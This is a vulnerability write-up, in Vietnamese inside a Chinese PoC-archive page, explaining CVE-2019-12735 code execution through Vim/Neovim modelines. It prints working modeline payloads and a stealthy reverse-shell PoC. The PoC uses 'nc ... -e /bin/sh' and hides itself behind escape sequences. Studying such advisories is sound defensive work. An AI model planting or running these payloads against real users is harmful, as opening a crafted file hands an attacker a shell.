关联漏洞
标题:
Vim 操作系统命令注入漏洞
(CVE-2019-12735)
描述:Vim是一款基于UNIX平台的编辑器。Neovim是Vim的重构版。 Vim 8.1.1365之前版本和Neovim 0.3.6之前版本中的getchar.c文件存在操作系统命令注入漏洞。该漏洞源于外部输入数据构造操作系统可执行命令过程中,网络系统或产品未正确过滤其中的特殊字符、命令等。攻击者可利用该漏洞执行非法操作系统命令。
介绍
# CVE-2019-12735
Là một lổ hỏng thuộc dạng Arbitrary Code Execution thông qua modeline trong vim/neovim
-
```
Product: Vim < 8.1.1365, Neovim < 0.3.6
Type: Arbitrary Code Execution
CVE: CVE-2019-12735
Date: 2019-06-04
Author: Arminius (@rawsec)
```
Vim ở các phiên bản trước 8.1.1365 và Neovim ở các phiên bản trước 0.3.6 có một lổ hỏng giúp ta dễ dàng arbitrary code execution thông qua modeline khi mở một file text chứa nội dung đặc biệt
# Chi tiết lổ hỏng và cách sử dụng modeline
Modeline là một tính năng được bật theo mặc định, áp dụng cho tất cả các loại file, bao gồm cả file .txt để tự động tìm và áp dụng/thực thi một tập hợp các tùy chọn được đề cập bởi người khởi tạo file ở phần đầu và phần cuối của file. Dưới đây là một dòng lệnh modeline điển hình:
``` c
/* vim: set textwidth=80 tabstop=8: */
```
Để tăng tính bảo mật, chỉ một tập hợp con các tùy chọn được phép áp dụng/thực thị trong các modelines và nếu giá trị tùy chọn chứa một biểu thức, thì nó sẽ được thực thi trong sandbox:
```
No other commands than "set" are supported, for security reasons (somebody
might create a Trojan horse text file with modelines). And not all options
can be set. For some options a flag is set, so that when it's used the
|sandbox| is effective.
```
Sandbox giúp ngăn chặn các side effects
```
The 'foldexpr', 'formatexpr', 'includeexpr', 'indentexpr', 'statusline' and
'foldtext' options may be evaluated in a sandbox. This means that you are
protected from these expressions having nasty side effects. This gives some
safety for when these options are set from a modeline.
```
Tuy nhiên, lệnh `:source!` (với [`!`] ở sau) có thể được sử dụng để bypass sandbox. Nó buộc vim phải đọc và thực hiện các lệnh từ một file nhất định như thể được nhập theo cách thủ công trong vim, chạy chúng sau khi ra khỏi sandbox. Chính điều này đã tạo ra lỗ hỏng cho phép thực thi arbitrary code execution thông qua vim.
```
:so[urce]! {file} Read Vim commands from {file}. These are commands
that are executed from Normal mode, like you type
them.
```
Từ lỗ hỏng trên, người ta có thể xây dựng một modeline để chạy code bên ngoài sandbox:
``` c
# vim: set foldexpr=execute('\:source! some_file'):
```
Ta cũng có thể sử dụng `assert_fails()` để thay thế cho `execute()`:
``` c
assert_fails({cmd} [, {error} [, {msg}]]) *assert_fails()*
Run {cmd} and add an error message to |v:errors| if it does
NOT produce an error.
```
Thêm vào đằng sau `source!` ký tự `%` để thực thi file hiện tại, ví dụ bên dưới sẽ lần lượt thực thi `uname -a || "(garbage)"` dưới dạng lệnh shell:
``` sh
:!uname -a||" vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt="
```
Ngoài ra, hàm nvim_input() chỉ dành cho việc khai thác lổ hỏng trên Neovim và được sử dụng như ví dụ sau:
``` sh
vi:fen:fdm=expr:fde=nvim_input("\:terminal\ uname\ -a"):fdl=0
```
# Exploit: Reverse Shell
Tác giả đã đưa ra một PoC cho phép tạo ra một reverse shell, bằng cách sử dụng ký tự `Esc` để ẩn nội dung khi người đọc mở file thông qua việc ghi nội dung mới vào nó.
``` sh
\x1b[?7l\x1bSNothing here.\x1b:silent! w | call system('nohup nc 127.0.0.1 9999 -e /bin/sh &') | redraw! | file | silent! # " vim: set fen fdm=expr fde=assert_fails('set\ fde=x\ \|\ source\!\ \%') fdl=0: x16x1b[1Gx16x1b[KNothing here."x16x1b[D n
```
Ở trên là một PoC của tác giả, tuy nhiên để dễ hiểu hơn cho người đọc, ta sẽ bỏ bớt một vài chỗ của PoC trên thành:
``` sh
\x1bSNothing here.\x1b:silent! w | call system('nohup nc 127.0.0.1 9999 -e /bin/sh &') | redraw! | file | silent! # " vim: set fen fdm=expr fde=assert_fails('set\ fde=x\ \|\ source\!\ \%') fdl=0:
```
Khi mở vim lên, tính năng modeline sẽ kiểm tra các phần đầu và cuối file để tìm câu lệnh modeline (ở đây là 'vim: set fen fdm=expr fde=assert_fails('set\ fde=x\ \|\ source\!\ \%') fdl=0:'), khi đã tìm thấy, nó sẽ thực thi câu lệnh. Theo như cách hoạt động của modeline đã nói ở trên, lệnh `source! %` sẽ thực thi file hiện tại như việc ta nhập nội dung của file đó bằng tay trong vim.
Đầu tiên nó sẽ thực thi chuỗi "\x1bSNothing here.\x1b:silent! w ". Nếu đã sử dụng vim, chắc hẳn bạn sẽ biết chế độ thực thi `command` trên vim, để vào chế độ này, ta chỉ việc nhấn phím `Esc`, phím này có giá trị là `0x1b`, chính vì vậy mà ở phần đầu của PoC trên sẽ là `0x1b` để vào chế độ `command` trong vim.
Khi đã vào chế độ command, nếu ta nhấn phím `S`, lập tức nội dung của dòng đang được trỏ sẽ được xóa và đưa ta về lại chế độ `insert`, vì vậy mà ký tự tiếp theo sẽ là `S` để thực hiện xóa nội dung của file PoC và tạo ra nội dung mới.
Lúc này đoạn text "Nothing here." sẽ được điền vào file, sau đó đến ký tự `Esc` để vào lại chế độ `command` và chuỗi lệnh `:silent! w` để ghi đoạn text mới ("Nothing here.") vào file mà không đưa bất kỳ message nào ở màn hình.
Sau khi đã ghi được file, nó tiếp tục thực hiện lệnh `call system('nohup nc 127.0.0.1 9999 -e /bin/sh &')` và các lệnh sau đó để reverse shell. Lệnh cuối cùng - `silent! # " vim: set fen fdm=expr fde=assert_fails('set\ fde=x\ \|\ source\!\ \%') fdl=0: x16x1b[1Gx16x1b[KNothing here."x16x1b[D n`, lúc này phía sau `silent!` là dấu `#`, điều này làm vim hiểu như một comment nên nó sẽ không thực thi.
Như vậy, khi người dùng mở PoC trên bằng vim/neovim, kẻ tấn công sẽ có được shell của người dùng mà người dùng chẳng hề hay biết, bởi phía người dùng chỉ hiện lên dòng text "Nothing here." vừa được ghi vào thông qua tính năng modeline.
# Tham khảo
https://github.com/numirias/security/blob/master/doc/2019-06-04_ace-vim-neovim.md
文件快照
[4.0K] /data/pocs/556fb0fb158014f765799e6ddefffd9fed73454c
└── [6.4K] README.md
0 directories, 1 file
备注
1. 建议优先通过来源进行访问。
2. 如果因为来源失效或无法访问,请发送邮箱到 f.jinxu#gmail.com 索取本地快照(把 # 换成 @)。
3. 神龙已为您对POC代码进行快照,为了长期维护,请考虑为本地POC付费,感谢您的支持。